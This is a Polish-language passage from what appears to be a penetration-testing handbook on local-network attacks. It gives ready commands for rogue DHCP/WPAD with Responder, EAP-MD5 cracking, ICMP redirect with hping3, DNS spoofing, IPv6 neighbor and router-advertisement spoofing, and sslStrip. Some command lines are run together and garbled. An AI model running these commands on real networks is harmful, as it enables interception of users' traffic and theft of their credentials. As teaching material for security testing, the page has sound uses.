!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

Ataki EAP

Oto kilka taktyk ataku, które można wykorzystać przeciwko implementacjom 802.1X:

  • Aktywne łamanie hasła metodą brute-force za pomocą EAP

  • Atakowanie serwera RADIUS za pomocą zniekształconej zawartości EAP (eksploity)

  • Przechwytywanie wiadomości EAP i offline łamanie hasła (EAP-MD5 i PEAP)

  • Wymuszanie uwierzytelniania EAP-MD5 w celu ominięcia weryfikacji certyfikatu TLS

  • Wstrzykiwanie złośliwego ruchu sieciowego podczas uwierzytelniania za pomocą koncentratora lub podobnego

Jeśli atakujący znajduje się między ofiarą a serwerem uwierzytelniania, może on próbować zdegradować (jeśli konieczne) protokół uwierzytelniania do EAP-MD5 i przechwycić próbę uwierzytelnienia. Następnie może on użyć metody brute-force do:

eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt

Ataki FHRP (GLBP & HSRP)

FHRP (First Hop Redundancy Protocol) to klasa protokołów sieciowych zaprojektowana do tworzenia gorącego redundantnego systemu routingu. Dzięki FHRP fizyczne routery mogą być połączone w pojedyncze urządzenie logiczne, co zwiększa tolerancję na awarie i pomaga rozłożyć obciążenie.

Inżynierowie firmy Cisco Systems opracowali dwa protokoły FHRP, GLBP i HSRP.

pageGLBP & HSRP Attacks

RIP

Istnieją trzy wersje protokołu Routing Information Protocol (RIP): RIP, RIPv2 i RIPng. Datagramy są wysyłane do równorzędnych za pomocą portu 520 za pomocą UDP przez RIP i RIPv2, podczas gdy datagramy są nadawane do portu 521 za pomocą multicastu IPv6 przez RIPng. Wersja RIPv2 wprowadziła obsługę uwierzytelniania MD5. Z kolei wersja RIPng nie zawiera natywnego uwierzytelniania; zamiast tego polega na opcjonalnych nagłówkach IPsec AH i ESP w IPv6.

  • RIP i RIPv2: Komunikacja odbywa się za pomocą datagramów UDP na porcie 520.

  • RIPng: Wykorzystuje port UDP 521 do nadawania datagramów za pomocą multicastu IPv6.

Należy zauważyć, że RIPv2 obsługuje uwierzytelnianie MD5, podczas gdy RIPng nie zawiera natywnego uwierzytelniania, polegając na nagłówkach IPsec AH i ESP w IPv6.

Ataki EIGRP

EIGRP (Enhanced Interior Gateway Routing Protocol) to dynamiczny protokół routingu. Jest to protokół wektorów odległości. Jeśli brak jest uwierzytelniania i konfiguracji interfejsów pasywnych, intruz może zakłócić routing EIGRP i spowodować zatrucie tablic routingu. Ponadto sieć EIGRP (inaczej mówiąc, system autonomiczny) jest płaska i nie ma podziału na strefy. Jeśli atakujący wstrzyknie trasę, istnieje duże prawdopodobieństwo, że ta trasa rozprzestrzeni się w całym autonomicznym systemie EIGRP.

Aby zaatakować system EIGRP, konieczne jest ustanowienie sąsiedztwa z prawidłowym routerem EIGRP, co otwiera wiele możliwości, począwszy od podstawowej rekonesansu po różne wstrzyknięcia.

FRRouting pozwala wdrożyć wirtualny router obsługujący BGP, OSPF, EIGRP, RIP i inne protokoły. Wystarczy go wdrożyć na systemie atakującego, aby faktycznie udawać prawidłowy router w domenie routingu.

pageEIGRP Attacks

Coly posiada możliwości przechwytywania nadawanych komunikatów EIGRP (Enhanced Interior Gateway Routing Protocol). Umożliwia również wstrzykiwanie pakietów, które można wykorzystać do zmiany konfiguracji routingu.

OSPF

W protokole Open Shortest Path First (OSPF) często stosuje się uwierzytelnianie MD5 w celu zapewnienia bezpiecznej komunikacji między routerami. Jednakże to zabezpieczenie może zostać złamane za pomocą narzędzi takich jak Loki i John the Ripper. Narzędzia te są zdolne do przechwytywania i łamania haseł MD5, ujawniając klucz uwierzytelniania. Gdy klucz ten zostanie uzyskany, można go użyć do wprowadzenia nowych informacji o trasowaniu. Aby skonfigurować parametry trasy i ustalić skompromitowany klucz, wykorzystywane są karty Injection i Connection.

  • Przechwytywanie i Łamanie Haseł MD5: Narzędzia takie jak Loki i John the Ripper są używane w tym celu.

  • Konfigurowanie Parametrów Trasy: Wykonywane jest to za pomocą karty Injection.

  • Ustawianie Skompromitowanego Klucza: Klucz jest konfigurowany w karcie Connection.

Inne Ogólne Narzędzia i Źródła

  • Above: Narzędzie do skanowania ruchu sieciowego i znajdowania podatności

  • Możesz znaleźć więcej informacji na temat ataków sieciowych tutaj.

Podszywanie

Atakujący konfiguruje wszystkie parametry sieciowe (bramka, IP, DNS) nowego członka sieci, wysyłając fałszywe odpowiedzi DHCP.

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP Spoofing

Sprawdź poprzednią sekcję.

ICMPRedirect

ICMP Redirect polega na wysyłaniu pakietu ICMP typu 1, kod 5, który wskazuje, że atakujący jest najlepszą drogą do osiągnięcia danego adresu IP. Następnie, gdy ofiara chce skontaktować się z tym adresem IP, pakiet zostanie wysłany przez atakującego.

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

Podmiana DNS

Atakujący będzie rozwiązywał niektóre (lub wszystkie) domeny, o które prosi ofiara.

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

Skonfiguruj własne DNS z dnsmasq

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

Lokalne Bramy

Często istnieje wiele tras do systemów i sieci. Po zbudowaniu listy adresów MAC w lokalnej sieci, użyj gateway-finder.py do zidentyfikowania hostów obsługujących przekazywanie IPv4.

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

Dla lokalnego rozwiązywania nazw hostów, gdy zapytania DNS są nieudane, systemy Microsoft polegają na Link-Local Multicast Name Resolution (LLMNR) oraz na NetBIOS Name Service (NBT-NS). Podobnie, Apple Bonjour oraz implementacje zero-configuration w systemach Linux wykorzystują Multicast DNS (mDNS) do odkrywania systemów w sieci. Ze względu na nieuwierzytelniony charakter tych protokołów oraz ich działanie poprzez UDP, wysyłanie komunikatów do wszystkich, mogą być wykorzystane przez atakujących, którzy chcą przekierować użytkowników do złośliwych usług.

Możesz podszywać się pod usługi, które są wyszukiwane przez hosty, używając narzędzia Responder do wysyłania fałszywych odpowiedzi. Dowiedz się więcej o jak podszywać się pod usługi za pomocą Responder.

Przeglądarki zazwyczaj korzystają z protokołu Web Proxy Auto-Discovery (WPAD) do automatycznego pobierania ustawień proxy. Polega to na pobieraniu szczegółów konfiguracji z serwera, konkretnie poprzez adres URL, takiego jak "http://wpad.example.org/wpad.dat". Odkrycie tego serwera przez klientów może nastąpić poprzez różne mechanizmy:

  • Poprzez DHCP, gdzie odkrycie jest ułatwione poprzez wykorzystanie specjalnego wpisu kodu 252.

  • Poprzez DNS, co polega na wyszukiwaniu nazwy hosta oznaczonej jako wpad w domenie lokalnej.

  • Za pomocą Microsoft LLMNR i NBT-NS, które są mechanizmami zapasowymi używanymi w przypadkach, gdy zapytania DNS nie powiodą się.

Narzędzie Responder wykorzystuje ten protokół, działając jako złośliwy serwer WPAD. Wykorzystuje DHCP, DNS, LLMNR i NBT-NS, aby wprowadzić klientów w błąd i skłonić ich do połączenia się z nim. Aby zagłębić się w to, jak usługi mogą być podszywane za pomocą Responder, sprawdź to.

Możesz oferować różne usługi w sieci, aby oszukać użytkownika i skłonić go do podania hasła w postaci zwykłego tekstu. Więcej informacji na temat tego ataku w Podrabianie urządzeń SSDP i UPnP.

Podrabianie sąsiadów IPv6

Ten atak jest bardzo podobny do Podrabiania ARP, ale w świecie IPv6. Możesz sprawić, że ofiara uwierzy, iż adres IPv6 bramy ma MAC atakującego.

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

Podrobienie/Przepełnienie Reklamy Routera IPv6

Niektóre systemy operacyjne domyślnie konfigurują bramę z pakietów RA wysyłanych w sieci. Aby ogłosić atakującego jako router IPv6, można użyć:

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

Podrabianie DHCP w IPv6

Domyślnie niektóre systemy operacyjne próbują skonfigurować DNS, czytając pakiet DHCPv6 w sieci. Następnie atakujący mógłby wysłać pakiet DHCPv6, aby skonfigurować siebie jako DNS. DHCP również dostarcza adres IPv6 ofierze.

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP (fałszywa strona i wstrzyknięcie kodu JS)

Ataki internetowe

sslStrip

Podstawowo, co robi ten atak, to w przypadku gdy użytkownik próbuje uzyskać dostęp do strony HTTP, która jest przekierowywana na wersję HTTPS, sslStrip będzie utrzymywał połączenie HTTP z klientem i połączenie HTTPS z serwerem, dzięki czemu będzie mógł przechwycić połączenie w czystym tekście.

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush